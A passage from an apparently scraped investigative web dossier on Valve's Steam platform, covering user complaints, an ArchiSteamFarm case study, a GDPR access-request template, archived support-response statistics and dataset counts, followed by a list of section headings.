configuration.\n\nIf I disable the `ServerURL`, it gets overwritten after every reboot.\n\nExcerpt from the GitHub issue ↗ archived 2026-04-19 ↗\nDocumented record\nA specific privacy complaint with a client date, operating system and configuration excerpt. The saved issue is open.\nAccountability demand\nIdentify the investigation, the affected builds and the change that made the opt-out effective.\nRead saved record Open GitHub ↗ archived 2026-04-19 ↗\nIn the dossier: Request the underlying records →Archive #467 · build 2026-09-17\nGH-03 / GITHUBOpen in saved build\nAuth-ticket abuse reported to Valve\n\nValveSoftware / Source-1-Games · #3857 · 2022-02-26\n\nThe author alleges that a server operation retained Steam authentication tickets after players disconnected and used misleading server listings. The post asks Valve to address the behavior.\n\nMaking their servers look packed.\n\nExcerpt from the GitHub issue ↗\nDocumented record\nA public abuse report lodged in Valve's tracker on 26 February 2022. Its saved state is open; the report includes links to screenshots.\nAccountability demand\nProduce the investigation result and the mitigation record for the reported authentication-ticket abuse.\nRead saved record Open GitHub ↗\nIn the dossier: Dataset scope →Archive #768 · build 2026-09-17\nRD-01 / REDDITAuthor's account\n44 disputed Market purchases\n\nr/DotA2 · author handle withheld · 2022-07-07\n\nThe author reports 44 unauthorized Market purchases on 6 July 2022 and roughly $500+ in losses. They say two-factor authentication was enabled and describe repeated template replies from support.\n\n2nd ticket in and I have still yet to receive a non robotic copy paste template response from Steam.\n\nExcerpt from the Reddit post ↗ archived 2025-03-20 ↗\nDocumented record\nA dated account of disputed purchases, with links to transaction screenshots and a support response. The amounts and events are the author's report.\nAccountability demand\nReconcile the disputed purchases with transaction and session logs. Explain the evidence behind support's decision.\nRead saved record Open Reddit ↗ archived 2025-03-20 ↗\nIn the dossier: Support and enforcement →Archive #4,533 · build 2026-09-17\nRD-02 / REDDITAuthor's account\nA permanent ban and closed appeals\n\nr/ohnePixel · author handle withheld · 2024-12-09\n\nThe author disputes a permanent ban and says support cited suspected account transfer and community reports. They describe closed tickets and plans to request their personal data.\n\nI explained my situation and asked for more details, but they're sticking to their decision and closing my tickets.\n\nExcerpt from the Reddit post ↗\nDocumented record\nA preserved appeal account, including the reasons the author says support supplied and links to four images. The post date comes from the selected support export.\nAccountability demand\nIdentify the evidence supporting the permanent ban and the review available to challenge it. Closing an appeal does not explain the decision.\nRead saved record Open Reddit ↗\nIn the dossier: Request the underlying records →Archive #4,766 · build 2026-09-17\nRD-03 / REDDITAuthor's account\nA recovery reset and a reported $10,000 loss\n\nr/legaladvice · author handle withheld · 2025-05-09\n\nThe author alleges that support reset credentials and disabled account protections after someone else submitted a recovery ticket. They report a loss of about US$10,000 from an inactive account.\n\nSteam Support reset my password and turned off all my account security.\n\nExcerpt from the Reddit post ↗\nDocumented record\nA preserved allegation about the recovery process overriding account safeguards. The saved post records what the author says support told them.\nAccountability demand\nIdentify who authorised the reset, the ownership evidence they accepted and the access log. Account recovery is part of the security system Valve controls.\nRead saved record Open Reddit ↗\nIn the dossier: Request the underlying records →Archive #4,592 · build 2026-09-17\n\nSix selected records. GitHub states describe the saved build. Reddit posts preserve the authors' accounts.\n\nDownload the six records ↓\n\nThe searchable build contains 16,319 distinct records: 393 Trustpilot, 5,635 Reddit, 2,395 GitHub, 276 web and 7,620 wiki records. Multiple records can concern the same event. The separate 40,448-row master export has a different scope.\n\nSearch the full archive ↗ · Build manifest ↗ · Dataset scope and counts →\n\nAppendix E — Case study\nArchiSteamFarm and the automation clause\n\nAn open-source card-farming tool whose own FAQ states it runs on millions of accounts, set against the Subscriber Agreement clause (§ 4.C) that prohibits automation. The mechanics — what a farm has to buy from Valve before it can produce anything, why every way of cashing out a card breaches the licence, the enforcement record and who moderates the card economy — are set out in full in Exhibit V ↗.\n\nThe Steam Subscriber Agreement, § 4.C, states:\n\n\"You may not use any form of scripts, bots, macros, or other non-human-controlled systems ('Automation') to interact with Content and Services on Steam in any manner.\" — Steam Subscriber Agreement § 4.C (current) ↗ archived 2026-09-18 ↗\n\nValve enforces this clause. It is very good at it. The FAQ of ArchiSteamFarm (ASF) — an open-source tool its own documentation describes as running on more than a few million Steam accounts since a first release over 11 years ago — reproduces three Steam Support messages permanently banning users who ran bot networks. Valve found the networks, named them and killed them. The relevant question is therefore not whether Valve can detect automation at scale.\n\nThe project's official ArchiSteamFarm FAQ addresses the risk of a ban directly:\n\n\"This is extremely unlikely considering the fact that ASF is being used on more than a few million of Steam accounts, since its first release that happened over 11 years ago — but still a possibility, regardless of actual probability.\"\n\n\"Valve clearly acknowledges 'Steam idlers' existing, as stated here, so if you asked me, I'm pretty sure that if they weren't fine with them, they'd already do something instead of pointing out that they could cause problems VAC-wise. The key word here is Steam idlers, for example ASF, and not game idlers.\"\n\n— ArchiSteamFarm FAQ, JustArchiNET. Source: GitHub wiki ↗ · verified verbatim 2026-09-22\n\nThe same FAQ answers \"Did anybody get banned for it?\" with Yes, and reproduces what Steam Support wrote to three of them:\n\n1,000+ bots · trade banned\n\"It looks like this account was used to manage a network of bot accounts. Botting is a violation of the Steam Subscriber Agreement.\"\n\n170+ bots · permanently banned, 2017 Winter Sale\n\"this account was used to illegally collect collectible cards on Steam, as well as related and not only commercial activities. The account has been permanently blocked and Steam Support can not provide additional support on this issue.\"\n\n120+ bots · permanently banned\n\"This and other accounts were used for flooding our network infrastructure, which is a violation of Steam online conduct.\"\n\n— Steam Support messages reproduced in the ArchiSteamFarm FAQ, section \"Did anybody get banned for it?\". Source ↗ · verified verbatim 2026-09-22\n\nPut the two records side by side. A private user with 1,000 farming bots is identified, told that \"botting is a violation of the Steam Subscriber Agreement\", and permanently removed. The commercial platforms in this dossier run automated Steam accounts as their core business, at far greater scale, and authenticate through Valve's own OpenID on every login — and no per-operator enforcement record has been published for any of them. The clause works. The question is who it is pointed at.\n\nASF is not accused of anything here, and its reading of Valve's position is its own — its author states plainly that \"ASF is not authorized by Valve\". The tool is used here as a measuring instrument: it shows that Valve detects bot networks, names them in writing and bans them permanently. Valve can close the question in one sentence by publishing which commercial automation it authorises, and the per-operator record of what it did about the rest.\n\nWhere card farming touches Valve's revenue\n\nFarmed trading cards are sold on the Steam Community Market, which charges a combined fee of about 15% on each sale completed inside the Market; the account must have spent $5.00 USD on Steam before it can receive a card at all; and card drops require game ownership or in-game purchases. No aggregate revenue figure is estimated here — the operating scale is stated only as the ASF FAQ states it. The FAQ also records Valve distinguishing \"Steam idlers\" (card farming) from \"game idlers\"; see the ASF FAQ ↗. The mechanics are set out in full in Exhibit V — the scale and the commercial-use trap.\n\nSubject ArchiSteamFarm — automated card farming\nStated scale Millions of accounts (per ASF FAQ — exact active count unverified)\nCounted, not quoted 10,880,610 total API entries in ASF's own Steam group (5,360,499 non-limited, as Steam displays) — the FAQ's \"millions\" is not a story, it is a headcount. 88.97% carry no Steam ban of any kind. The full ban census ↗\nDisclosures in the tool's own documentation\nASF logs accounts in headlessly and idles games for card drops without launching the Steam client (per the project documentation).\nThe FAQ reasons that Valve is aware of \"Steam idlers\" and that \"if they weren't fine with them, they'd already do something\".\nNo targeted enforcement reported in over 11 years (per the FAQ); the resulting card sales inside the Community Market carry Steam's combined fee of about 15%.\nThe FAQ states a recommended ceiling of ten accounts per operator and attributes it to Valve: \"This recommendation is based on internal Valve guidelines, as well as our own suggestions.\" No such guideline is published by Valve.\nTechnical ceiling, per the same FAQ: \"you can run up to 100-200 bots with a single IP and a single ASF instance.\"\nFarmed playtime is recorded by Valve — \"it's usually updated every 30 minutes or so\" — and § 4.C lists \"Faking gameplay statistics (e.g., inflated wins or losses, XP, playtime)\" as a prohibited act.\nSources\nOfficial JustArchi ASF FAQ wiki ↗ ArchiSteamFarm repository ↗ archived 2026-09-24 ↗\nThe automation clause is explicit; the ASF FAQ has stated for years that the tool runs on millions of accounts; no targeted enforcement against it has been reported. The gap between the rule and its application is the record; the reason for it is not established here.\nFull exhibit\nThe card economy: the process, the scale, the licence and who moderates it ↗ What a farm has to buy from Valve before it can produce a single card; the two lines of § 4.C that name card farming by its effects; why every way of cashing a card out breaches the licence Valve wrote while Valve charges a fee at the door; the enforcement record including the June 2025 VAC wave and chain-banning by shared phone number; and the Valve employee and community moderators found administering the card-trading and ban-list services around Steam.\nThe ban census\nWe didn't ask Valve how big the farm is. We counted it. ↗ 10,880,610 total accounts (limited and non-limited) read from ArchiSteamFarm's own Steam group, which the software auto-joins by default on first launch unless the user unchecks the group-join setting (capturing both commercial bot farms and regular players who left the default on). 88.97% carry no Steam ban of any kind; of the 11% that do, 99.8% are cosmetic community bans that never stop trading. Cross-checked against SteamRep, 67.77% of listed scammers walk free once anti-cheat bans are set aside. With registration-date, geography and survival breakdowns — the real scale, measured, not narrated.\nAppendix F — Working ledger\nChoose a rule. Inspect the matching records.\n\nFSB Market is an anonymized label; the original criminal marketplace name is withheld here.\n\nContext & source limits\n\nSelect a clause of the Subscriber Agreement or Online Conduct rules; the register lists the recorded platforms tagged under it, with their main domain, declared auth host and saved Link Filter result. The register describes the scope of this investigation's records, not a finding of breach against any platform.\n\nSelect a clause to see the tagged platforms, auth hosts and saved Link Filter results. Open each source to test the comparison.\n\nAppendix G — From a template refusal to the underlying record\nDSAR playbook: request the evidence\n\nUse Article 15 GDPR to request personal data relating to API-key creation, account recovery and support access. A retained record can test who initiated an action and what the platform relied on.\n\n01\nPreserve your timeline.\n\nSave account notices, tickets, trade IDs and dates in UTC. Secure the account and review the recovery options applicable to the game and transaction.\n\nSteam Trade Protection information ↗\n02\nRequest your retained data.\n\nAsk for timestamps, source IPs, key lifecycle events, security confirmations and account-related recovery actions. Include support-access events and recipients where those data concern you.\n\n03\nKeep the delivery record.\n\nUse Valve's privacy contact route. The usual response period is one month; a necessary extension of up to two further months must be explained within that first month.\n\nValve privacy contact route ↗ archived 2026-09-21 ↗\n04\nCompare the response.\n\nReconcile logs with your timeline. Ask for reasons for omissions, then use the supervisory-authority complaint route if necessary. Preserve the response exactly as received.\n\nScope / Article 15\n\nAccess covers retained personal data, including data in logs. It does not guarantee every internal document, reconstructed records or unredacted data about others. Ask for an intelligible copy and the basis for any restriction.\n\nEDPB access guidelines, §§ 2, 4–6 ↗ · GDPR Articles 12, 15, 77 ↗ archived 2026-09-20 ↗\n\nData subject access requestGDPR / Article 15\nAccount security & access records\n\nReplace the bracketed fields before submitting.\n\nTo: Valve Privacy Team\nSubject: Article 15 GDPR request — account security records\n\nAccount / SteamID: [YOUR ACCOUNT IDENTIFIER]\nRelevant period (UTC): [START] to [END]\nRelated support tickets: [TICKET REFERENCES]\n\nI request a copy of the personal data concerning me that you retain for this period, including:\n\n1. API-key registration, confirmation, use and revocation events, with available timestamps, source IP addresses, registered domains, device or user-agent information and non-secret key identifiers.\n\n2. Recorded account-recovery actions, password/email/phone changes, Steam Guard removals or resets, confirmation events and the account-related evidence relied on to authorize those actions.\n\n3. Personal data in support-access and administrative-action logs concerning my account, including available dates, purposes, actions and the support entity involved, subject to applicable rights of others.\n\n4. Account-related records used to determine any sanction, and available records of my complaints, reviews and responses.\n\nPlease also provide the applicable processing purposes, categories, recipients, retention periods or criteria, and available information about sources where data were not obtained from me.\n\nWhere processing relies on my consent, please provide the retained record of the consent relied upon and the wording presented at that time.\n\nPlease provide an intelligible electronic copy with time zones and field definitions. Please do not include active credentials or secret tokens. If any requested data are not held, please say so. For any withheld data, please identify the scope and legal basis of the restriction and provide the remainder.\n\nPlease acknowledge receipt and respond within the applicable Article 12 period, explaining any necessary extension. I also ask you to preserve relevant existing records while this request is handled.\n\nName: [YOUR NAME]\nDate: [DATE]\nWhat a data-centre IP can establish\nA discrepancy is evidence to investigate.\n\nAn API-key request originating from a data-centre network, as in the hosting-provider example raised in this investigation, can be relevant when compared with login records, confirmations and the user's timeline. An IP alone does not identify the actor or automatically defeat every defence. Evidence that a hostile actor supplied the recorded consent could challenge reliance on that consent; other legal bases and liability issues require separate analysis.\n\nSee the preserved ban-and-GDPR complaint →\nAppendix H — Wayback Machine archive analysis · published support statistics\nSupport volume. Published response times.\nContext & source limits\n\nValve publishes daily support statistics at store.steampowered.com/stats/support. Wayback Machine archives preserve historical snapshots of this page from 2018 to 2026. The volume-to-headcount ratio implied by these figures is inconsistent with per-ticket human review at the published response times.\n\nCompare Valve's archived support figures across the saved snapshots. The methodology explains what those figures can and cannot measure.\n\nVolume against published response time (2018 → 2026)\nTwo queues at one support desk, read across 21 archived captures.\n\nValve publishes live support figures at store.steampowered.com/stats/support. Each point below is the lower bound Valve itself printed on that page on the day the Internet Archive captured it — not an estimate of ours. Both series are the same measure in the same unit, so they belong on one axis and can be read against each other directly.\n\nRefund requests — money Valve is holding Account security & recovery — the account you have lost\n0 h\n2 h\n4 h\n6 h\n8 h\n10 h\nno captures · 38 months\n2019\n2020\n2021\n2022\n2023\n2024\n2025\n2026\n8 h 44 m\naccount recovery\n52 m\nrefunds\n15 m — one capture only\n49–55 minThe refund lower bound in every capture from February 2018 to August 2026. Across eight and a half years it moves by under six minutes, while daily refund volume moves by a factor of nine.\n2.4 h → 8.7 hThe account-recovery lower bound sits near 2.4 hours in every capture through December 2022 but one. In the three 2026 captures Valve publishes 10.9 h, 5.8 h and 8.7 h.\n×2.8 → ×13How much slower recovery is than refunds, by Valve's own published figures. Steady for five years, then it widens — the queue that got slower is the one where the user, not Valve, is out of pocket.\n\nSource: 21 Wayback Machine captures of store.steampowered.com/stats/support, 2018-02-03 to 2026-08-10; extraction in VALVE_EVIDENCE_PACK/databases/steam_support_stats_history.json. Read the limits with the figures: the chart plots the lower bound of the range Valve prints. The published upper bound is worse on both lines — refunds ranged 1.5 hours to 1.5 days, recovery 7.0 hours to 3.6 days. Two captures were archived in a localised edition of the same Valve page — 2018-11-03 in Czech, 2020-03-25 in French — and are marked (cs) and (fr) in the table; their figures appear here with the unit words translated and the numbers as published, and the verbatim source strings are kept in the extraction file. Every capture published a response time for both queues, and no point on either line is interpolated. The single 15-minute recovery figure of 2020-10-21 is flagged on the chart and left in: it appears in one capture only and no other capture is within an order of magnitude of it. No capture exists between 2022-12-08 and 2026-02-01; that 38-month hole in the record is shaded, and nothing is drawn across it. These figures describe published response times. They do not show what happens inside a ticket, and Valve has published no headcount against which to read them.\n\nOpen every capture as a table\nEvery archived capture, as published\nCapture\tRefunds / day\tRefund response\tRecovery / day\tRecovery response\n2018-02-03\t98,788\t50.12 minutes to 1.52 hours\t25,662\t2.51 hours to 1.80 days\n2018-05-07\t60,494\t53.83 minutes to 1.47 days\t24,226\t2.45 hours to 2.22 days\n2018-08-02\t69,084\t50.27 minutes to 1.59 hours\t28,953\t2.44 hours to 22.17 hours\n2018-11-03 (cs)\t63,410\t49.28 minutes to 1.54 hours\t33,910\t2.42 hours to 1.31 days\n2019-02-01\t76,305\t50.13 minutes to 1.52 hours\t35,164\t2.44 hours to 2.04 days\n2019-05-18\t78,951\t51.03 minutes to 3.12 hours\t27,514\t2.46 hours to 20.39 hours\n2019-09-07\t78,941\t50.65 minutes to 1.66 hours\t28,812\t2.42 hours to 13.59 hours\n2019-12-13\t69,589\t50.77 minutes to 1.55 hours\t25,322\t2.45 hours to 1.13 days\n2020-03-25 (fr)\t139,278\t49.45 minutes to 1.53 hours\t32,302\t2.48 hours to 3.62 days\n2020-06-26\t278,504\t48.98 minutes to 2.29 hours\t20,343\t2.39 hours to 6.99 hours\n2020-10-21\t107,633\t50.80 minutes to 1.54 hours\t20,688\t15.33 minutes to 8.62 hours\n2021-03-20\t158,956\t50.80 minutes to 1.64 hours\t25,760\t2.34 hours to 11.62 hours\n2021-06-26\t547,907\t51.93 minutes to 6.73 hours\t29,728\t2.40 hours to 15.63 hours\n2021-10-10\t170,103\t51.88 minutes to 3.25 hours\t23,989\t2.39 hours to 13.05 hours\n2022-01-31\t354,386\t53.65 minutes to 8.09 hours\t24,391\t2.42 hours to 15.29 hours\n2022-05-09\t172,555\t51.83 minutes to 1.65 hours\t23,289\t2.41 hours to 16.90 hours\n2022-09-05\t153,453\t53.67 minutes to 4.15 hours\t23,594\t2.45 hours to 1.22 days\n2022-12-08\t181,075\t54.83 minutes to 6.67 hours\t27,111\t2.46 hours to 18.89 hours\n2026-02-01\t317,762\t50.30 minutes to 1.52 hours\t47,197\t10.91 hours to 21.30 hours\n2026-05-09\t246,776\t50.12 minutes to 1.52 hours\t35,264\t5.81 hours to 15.60 hours\n2026-08-10\t373,244\t52.05 minutes to 2.07 hours\t45,319\t8.73 hours to 16.52 hours\nKEY OBSERVATION:\nAcross 21 Wayback captures spanning 2018-02-03 to 2026-08-10, daily refund submissions ranged from 60,494 (May 2018) to 547,907 (June 2021) — a 9.1× spread. The 2026 figure is 373,244 (+278% vs the February 2018 capture).\nOver those same nine years the published lower bound for refund response time never left a 49–55 minute band: a total movement of under six minutes while the workload behind it moved by a factor of nine.\nIf a person read each ticket for even 5 seconds, processing 373,244 tickets per day (current) would occupy 22 agents working 24/7 just to open and close them; at peak (547,907, June 2021) that rises to 32.\nIf the published response time reflected per-ticket handling time (~52 min/ticket), the implied concurrent staffing would be on the order of 13,500 agents at current volume and ~20,000 at peak. No sourced figure for Valve's support headcount has been located; none is assumed here.\nWhat follows: the volume-to-headcount ratio is inconsistent with per-ticket human review at the published response times. The figures are consistent with a largely automated first pass; what proportion receives human review is not published.\nWhy this matters for GDPR compliance\n\nGDPR Article 22 prohibits solely automated individual decision-making that produces significant legal effects, without providing the right to human review on request. If Steam Support decisions (ticket closures, account actions, refusal of data requests) are made entirely by automated scripts, every such decision that \"significantly affects\" the user may violate Article 22.\n\nTicket HT-2YBP-F7JP-D4VB (Section 18) was closed after three days with a template referral and no engagement with the legal basis cited. Whether a person reviewed it cannot be determined from the ticket; that is a question the supervisory authority can put to Valve under Article 22 and Article 15(1)(h).\n\nSource: Wayback Machine snapshots of store.steampowered.com/stats/support (2018-02-03, 2021-06-26, 2026-08-10) — data extracted into VALVE_EVIDENCE_PACK/databases/steam_support_stats_history.json (21 snapshots, 2018–2026). Note: the \"~52 min\" response time is the refund-category lower bound; account security response was 2.4–16.5 hrs across the same snapshots. 2021-06-26 is the all-time peak (547,907 refund requests), not a monotone midpoint — volume surged ~6× in 2020–2021 then partially fell before recovering to 373K in 2026.\nAppendix I — Dataset scope · counts that can be reproduced\nCount the records. Check the scope.\nContext & source limits\n\nCount the records, then test the claims: every figure below is re-derivable from the published files.\n\nInspect the underlying datasets, reproduce the counts, and distinguish source rows from unique incidents.\n\nThe master CSV contains 40,448 rows. Of these, 36,516 come from the Discord-AntiScam phishing feed. The remaining 3,932 rows span GitHub, reviews, search results, forum material and other sources, providing a comprehensive index of reported community topics and security reports.\n\nWithin that CSV, 1,690 rows are categorised under the \"Unpatched Security Exploit\" collection label, representing historical user issues and vulnerability disclosures. Tracing these reports involves reviewing each thread's specific build timeline and public patch history.\n\nThe 16,319-record searchable archive is a separate, curated build with its own manifest, designed for precise local exploration of specific user claims and incident reports.\n\nTo build a reliable audit trail, every user-reported record must be verified against documented build timelines and historical patch logs.\n\nThe separate Part II collection records 231,829 unique listing IDs, including 33,509 in the automated registration category and 198,320 flagged as unverified transfers. The input file's SHA-256 matches the preserved measurement. These counts describe listing attempts and observed transfers rather than finalized transaction values or verified theft totals, highlighting the need for primary platform records to measure the exact economic impact. Listing measurements and hashes ↗\n\nMaster CSV ↗ · Searchable archive manifest ↗ · Inspect source records ↗\n\nThe separate 17 October support collection adds 9,051 source rows: 2,961 collector Tier A records and 6,090 Tier B reports. Its 5,727 research leads are excluded from that total. The collection includes repeated URLs, policy material and different outcomes; it is not a count of unique victims. Recomputed counts and source-image hashes ↗\n\nAppendix J — About this investigation\nValve publishes no enforcement record. We built one.\n\nIndependent. Non-commercial. Built from public data only. Submitted to regulators.\n\n88.97% automation fleet untouched — no ban of any kind\n67.77% of 51,732 adjudicated scammers walk free\n$26.8M+ floor on store spend by non-limited fleet\n3.6% gambling domains blocked by Valve's Link Filter\n8 years of security incidents documented\n\nWhat this is. A forensic dossier into Valve Corporation's Steam platform — its enforcement record, its card-farming economy, its legal framework, and the authentication infrastructure that gambling operators use through Steam's own OpenID relay. Every figure is reproducible from two sources: Valve's own public API and the datasets published alongside this investigation.\n\nWho it is for. Regulators with jurisdiction over Valve — the GDPR supervisory authority for the Netherlands, FinCEN, the SEC, the DSA Digital Services Coordinator, UOKiK, and any law enforcement agency examining Steam-linked financial flows. Also for journalists, researchers, and every user who received a permanent account ban, a refused refund, or a stolen inventory and was told there is no appeal.\n\nThe single demand. Valve holds this data at full fidelity — ban reasons attached, full ID space, real-time. It can run every query in this dossier in seconds and has chosen not to publish any of it. The question for any competent authority is simple: why not?\n\nWhat the authors do not claim. No login to Steam was completed on any third-party platform during this work. A supplied OpenID URL establishes the request parameters, not a completed login. A separate registrable domain is not by itself proof of evasion. Registration dates are lower bounds on when a host could first have appeared in an OpenID request; they do not establish continuous use. The authors do not assert what Valve knew or intended: every statement about Valve is tied to a dated public document or a dated observation. Where a claim could not be put behind a source document, it has been removed.\n\nWho we are\n\nPhishDestroy — independent investigators. No affiliation with Valve Corporation or any platform named here. One Steam account was used solely to document the GDPR request in Section 18.\n\nLegal disclaimer\n\nNon-commercial, decentralized public-interest investigation. All data provided \"as is\" with zero warranties. This publication is not a judicial finding.\n\nPUBLIC DOMAIN\nLicensing\n\nAll rights surrendered to humanity. Reproduce, adapt, publish — attribution not required. OFAC-region access: prohibited. Full licence & disclaimer →",
        "headings": [
          {
            "level": 2,
            "text": "Valve’s answer to New York: the ownership lie and its framing.",
            "anchor": "pd-index--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/#valve-response-briefing"
          },
          {
            "level": 2,
            "text": "The rule. The record. The unanswered questions.",
            "anchor": "pd-index--briefing-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/#briefing-heading"
          },
          {
            "level": 2,
            "text": "The business inside Steam.",
            "anchor": "pd-index--case-files-title",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-files-title"
          },
          {
            "level": 3,
            "text": "CSGOFast / SIH",
            "anchor": "pd-index--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/#commercial-case-files"
          },
          {
            "level": 3,
            "text": "Reviews & incentives",
            "anchor": "pd-index--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/#commercial-case-files"
          },
          {
            "level": 3,
            "text": "Sponsors & cosmetic control",
            "anchor": "pd-index--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/#commercial-case-files"
          },
          {
            "level": 2,
            "text": "Open letter to the Washington State Gambling Commission",
            "anchor": "pd-index--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/#wsgc-public-address"
          },
          {
            "level": 3,
            "text": "Ten days became ten years. Reopen the record.",
            "anchor": "pd-index--wsgc-public-address-title",
            "source_url": "https://phishdestroy.io/steam_dossier/#wsgc-public-address-title"
          },
          {
            "level": 2,
            "text": "The site is blocked. The login route is not.",
            "anchor": "pd-index--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "Figure 3.1 — The two routes, drawn.",
            "anchor": "pd-index--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "Read the counts against the same register.",
            "anchor": "pd-index--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "Inside Steam, Valve's list is the only list.",
            "anchor": "pd-index--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/#inside-steam-filter"
          },
          {
            "level": 3,
            "text": "Link filter protection bypass",
            "anchor": "pd-index--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/#inside-steam-filter"
          },
          {
            "level": 3,
            "text": "Big Picture web browser leaks login cookies and discloses sensitive information (may lead to account takeover)",
            "anchor": "pd-index--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/#inside-steam-filter"
          },
          {
            "level": 3,
            "text": "What this means for a minor with an antivirus installed",
            "anchor": "pd-index--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/#inside-steam-filter"
          },
          {
            "level": 3,
            "text": "The Big Picture Trap: Link Filter is Compliance Theater, Not a Shield",
            "anchor": "pd-index--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/#linkfilter-coverage"
          },
          {
            "level": 4,
            "text": "1,088,753 distinct hosts",
            "anchor": "pd-index--linkfilter-expanded-title",
            "source_url": "https://phishdestroy.io/steam_dossier/#linkfilter-expanded-title"
          },
          {
            "level": 3,
            "text": "A blocked main domain paired with an unblocked auth host leaves the login route open — and it stays open for years.",
            "anchor": "pd-index--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "Background: What Steam Is and Why It Matters Here",
            "anchor": "pd-index--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "What Valve Did: The Domain Block",
            "anchor": "pd-index--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "What a Proxy Domain Is",
            "anchor": "pd-index--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "The Critical Point: The Auth Host Is Sent to Steam in Every Request",
            "anchor": "pd-index--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 3,
            "text": "What This Proves",
            "anchor": "pd-index--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "level": 2,
            "text": "An endpoint closed. Public tracing lost a key.",
            "anchor": "pd-index--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/#evidence-blackout"
          },
          {
            "level": 3,
            "text": "The Pre-Blackout Era",
            "anchor": "pd-index--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/#evidence-blackout"
          },
          {
            "level": 3,
            "text": "After the change",
            "anchor": "pd-index--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/#evidence-blackout"
          },
          {
            "level": 2,
            "text": "One session. More access than the user sees.",
            "anchor": "pd-index--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "level": 3,
            "text": "1. Insufficient Step-up Authentication",
            "anchor": "pd-index--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "level": 3,
            "text": "2. Lack of Principle of Least Privilege",
            "anchor": "pd-index--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "level": 3,
            "text": "3. Broken Session Management",
            "anchor": "pd-index--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "level": 3,
            "text": "4. Domain-Level Blocking of Auth Hosts Was Technically Feasible",
            "anchor": "pd-index--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "level": 3,
            "text": "Valve builds against these rules every day. It did not build to them here.",
            "anchor": "pd-index--integration-paradox-title",
            "source_url": "https://phishdestroy.io/steam_dossier/#integration-paradox-title"
          },
          {
            "level": 4,
            "text": "GitHub Fine-Grained Scopes vs Valve Steam Web API",
            "anchor": "pd-index--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/#token-comparator"
          },
          {
            "level": 2,
            "text": "Interactive Exploit & Hijack Simulator",
            "anchor": "pd-index--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/#hijack-simulation"
          },
          {
            "level": 2,
            "text": "The endpoints behind the sequence.",
            "anchor": "pd-index--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/#api-reference"
          },
          {
            "level": 2,
            "text": "A checked box. Whose action?",
            "anchor": "pd-index--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/#consent-analysis"
          },
          {
            "level": 3,
            "text": "How Valve Finally Neutralized \"Trade Substitution\" — And Why It Took 7 Years of Workarounds",
            "anchor": "pd-index--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/#autopsy-trade-substitution"
          },
          {
            "level": 4,
            "text": "Avatar & Name Cooldown (Feb 2024)",
            "anchor": "pd-index--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/#autopsy-trade-substitution"
          },
          {
            "level": 4,
            "text": "7-Day CS2 Trade Reversal (Jul 2025)",
            "anchor": "pd-index--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/#autopsy-trade-substitution"
          },
          {
            "level": 4,
            "text": "Mandatory Mobile Push for API (Dec 2023)",
            "anchor": "pd-index--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/#autopsy-trade-substitution"
          },
          {
            "level": 4,
            "text": "Account Age & Name Banners (2022–2024)",
            "anchor": "pd-index--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/#autopsy-trade-substitution"
          },
          {
            "level": 2,
            "text": "Their rulebook. The recorded platforms.",
            "anchor": "pd-index--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/#selective-enforcement"
          },
          {
            "level": 3,
            "text": "One rulebook. Unequal enforcement.",
            "anchor": "pd-index--enforcement-focus-title",
            "source_url": "https://phishdestroy.io/steam_dossier/#enforcement-focus-title"
          },
          {
            "level": 4,
            "text": "Automation",
            "anchor": "pd-index--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/#enforcement-standard"
          },
          {
            "level": 4,
            "text": "Commercial use",
            "anchor": "pd-index--heading-45",
            "source_url": "https://phishdestroy.io/steam_dossier/#enforcement-standard"
          },
          {
            "level": 4,
            "text": "VPN & location disguise",
            "anchor": "pd-index--heading-46",
            "source_url": "https://phishdestroy.io/steam_dossier/#enforcement-standard"
          },
          {
            "level": 4,
